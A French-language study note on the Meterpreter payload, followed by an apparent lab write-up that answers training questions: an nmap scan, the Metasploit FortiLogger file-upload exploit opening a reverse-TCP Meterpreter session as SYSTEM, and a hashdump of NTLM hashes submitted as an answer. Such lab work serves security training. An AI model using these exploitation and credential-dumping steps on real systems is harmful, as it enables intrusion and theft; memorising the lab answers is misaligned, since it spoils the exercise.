# Meterpreter

**Meterpreter** est un payload avancé utilisé dans le cadre de Metasploit. Il se distingue par son fonctionnement furtif, extensible et puissant. Contrairement à un shell classique, il réside uniquement en mémoire (RAM) de la machine compromise, ce qui le rend difficile à détecter et à analyser par des méthodes forensiques classiques. Il n’écrit pas de fichiers sur le disque et peut migrer d’un processus à un autre pour éviter d’être stoppé.

Souvent qualifié de *couteau suisse du pentest*, Meterpreter est conçu pour faciliter les procédures de **post-exploitation**, en offrant un ensemble d’outils permettant :

* l’énumération avancée du système compromis,
* l’évasion des antivirus et solutions de détection,
* la recherche de vulnérabilités locales supplémentaires,
* la persistance sur le système,
* le pivoting vers d’autres machines du réseau cible.

### ⚙️ Fonctionnement

Lorsque Meterpreter est exécuté sur la machine cible, plusieurs étapes se déroulent :

1. **Exécution du stager** : le code initial (reverse, bind, passivex, etc.) est exécuté sur la cible.
2. **Injection de DLL réflexive** : le *Reflective DLL Loader* permet de charger Meterpreter directement en mémoire.
3. **Initialisation du core Meterpreter** : une communication chiffrée en AES est établie avec l’attaquant.
4. **Chargement des extensions** : par défaut, `stdapi` (fonctionnalités de base) est chargé, et `priv` si les privilèges administratifs sont disponibles.

Ainsi, une fois la session ouverte, l’attaquant obtient un shell Meterpreter avec des commandes spécifiques.

### 💻 Commandes principales

Une fois dans une session Meterpreter, la commande `help` permet d’afficher les options disponibles. Parmi les plus utiles :

* `background` : mettre une session en arrière-plan
* `migrate` : migrer vers un autre processus
* `run` : exécuter un script ou module post-exploitation
* `sessions` : basculer entre différentes sessions
* `hashdump` : extraire les hashs de mots de passe
* `lsa_dump_secrets` : extraire les secrets de la mémoire LSA
* `ps` : lister les processus
* `steal_token` : voler un jeton d’authentification

Ces fonctionnalités permettent d’aller bien au-delà d’un simple accès shell.

### 🎯 Objectifs de conception

Meterpreter a été conçu autour de trois principes fondamentaux :

#### 🔒 Furtivité

* Réside uniquement en mémoire.
* Ne crée pas de nouveau processus, mais s’injecte dans un processus existant.
* Les communications sont entièrement chiffrées (AES).

#### 💪 Puissance

* Communication en *channels* permettant d’ouvrir plusieurs types de flux (shell, transfert de fichiers, etc.).
* Possibilité de générer et gérer plusieurs sessions simultanément.

#### 🧩 Extensibilité

* Ajout dynamique de modules et d’extensions sans recompiler le payload.
* Chargement de nouvelles fonctionnalités à la volée, via le réseau.

### 🔍 Utilisation dans un engagement

Lors d’une campagne de test d’intrusion, Meterpreter permet de gagner du temps et d’augmenter l’efficacité des opérations post-exploitation. Par exemple :

* Lancer des scans directement depuis la session compromise (`db_nmap` dans msfconsole).
* Exploiter les modules de Metasploit pour la persistance ou l’escalade de privilèges.
* Migrer dans des processus système pour élever ses privilèges.
* Extraire des informations sensibles comme les hashs ou secrets stockés dans la mémoire.

### ⚠️ Points de vigilance

Bien que Meterpreter soit puissant, il laisse parfois des traces temporaires (comme des fichiers ASP déposés lors de certaines exploitations). Un administrateur vigilant peut détecter ces indicateurs. D’où l’importance, pour un attaquant, de nettoyer ses traces, et pour un défenseur, de surveiller ces artefacts.

### 📚 Ressources utiles

* [Documentation officielle Metasploit](https://docs.rapid7.com/metasploit/)
* [OWASP Testing Guide – Post-Exploitation](https://owasp.org/www-project-web-security-testing-guide/)

***

👉 En résumé, **Meterpreter est bien plus qu’un simple shell distant**. C’est une plateforme complète de post-exploitation, qui combine furtivité, puissance et modularité pour maximiser l’efficacité des tests d’intrusion.

***

> Find the existing exploit in MSF and use it to get a shell on the target. What is the username of the user you obtained a shell with?

Nous effectuons dans un premier temps un scan de notre cible afin de connaître les services disponibles :&#x20;

```bash
$ nmap -sC -sV -p- -Pn 10.129.203.65

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-23 09:46 CDT
Nmap scan report for 10.129.203.65
Host is up (0.0022s latency).
Not shown: 65520 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-51BJ97BCIPV
| Not valid before: 2025-08-22T14:46:04
|_Not valid after:  2026-02-21T14:46:04
| rdp-ntlm-info: 
|   Target_Name: WIN-51BJ97BCIPV
|   NetBIOS_Domain_Name: WIN-51BJ97BCIPV
|   NetBIOS_Computer_Name: WIN-51BJ97BCIPV
|   DNS_Domain_Name: WIN-51BJ97BCIPV
|   DNS_Computer_Name: WIN-51BJ97BCIPV
|   Product_Version: 10.0.17763
|_  System_Time: 2025-08-23T14:47:51+00:00
|_ssl-date: 2025-08-23T14:47:59+00:00; 0s from scanner time.
5000/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-IIS/10.0
|_http-title: FortiLogger | Log and Report System
| http-methods: 
|_  Potentially risky methods: TRACE
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-08-23T14:47:53
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.51 seconds
```

Nous observons la présence de FortiLogger.\
Nous effectuons donc une recherche de FortiLogger via **Metasploit** :&#x20;

```bash
$ msfconsole

[msf](Jobs:0 Agents:0) >> search  FortiLogger

Matching Modules
================

   #  Name                                                   Disclosure Date  Rank    Check  Description
   -  ----                                                   ---------------  ----    -----  -----------
   0  exploit/windows/http/fortilogger_arbitrary_fileupload  2021-02-26       normal  Yes    FortiLogger Arbitrary File Upload Exploit
```

Nous utilisons le module disponible, le configurons et l'executons afin d'obtenir une connexion à notre cible :&#x20;

```bash
[msf](Jobs:0 Agents:0) exploit(windows/http/fortilogger_arbitrary_fileupload) >> use 0
[*] Using configured payload windows/meterpreter/reverse_tcp

[msf](Jobs:0 Agents:0) exploit(windows/http/fortilogger_arbitrary_fileupload) >> set rhosts 10.129.203.65
rhosts => 10.129.203.65
[msf](Jobs:0 Agents:0) exploit(windows/http/fortilogger_arbitrary_fileupload) >> set lhost 10.10.14.151
lhost => 10.10.14.151

[msf](Jobs:0 Agents:0) exploit(windows/http/fortilogger_arbitrary_fileupload) >> run
[*] Started reverse TCP handler on 10.10.14.151:4444 
[...]
[*] Meterpreter session 2 opened (10.10.14.151:4444 -> 10.129.203.65:49689) at 2025-08-23 09:55:45 -0500

(Meterpreter 2)(C:\Windows\system32) > 
```

En utilisant la commande `getuid`, nous pouvons voir que nous sommes connectés en tant que ***NT AUTHORITY\SYSTEM*** :&#x20;

```
(Meterpreter 2)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM
```

***

> Retrieve the NTLM password hash for the "htb-student" user. Submit the hash as the answer.

Nous récupérons les hashs de mots de passe à l'aide de la commande `hashdump` :&#x20;

```
(Meterpreter 2)(C:\Windows\system32) > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bdaffbfe64f1fc646a3353be1c2c3c99:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4b4ba140ac0767077aee1958e7f78070:::
```

Le hash associé à l'utilisateur ***htb-student*** est :&#x20;

```
cf3a5525ee9414229e66279623ed5c58
```

***
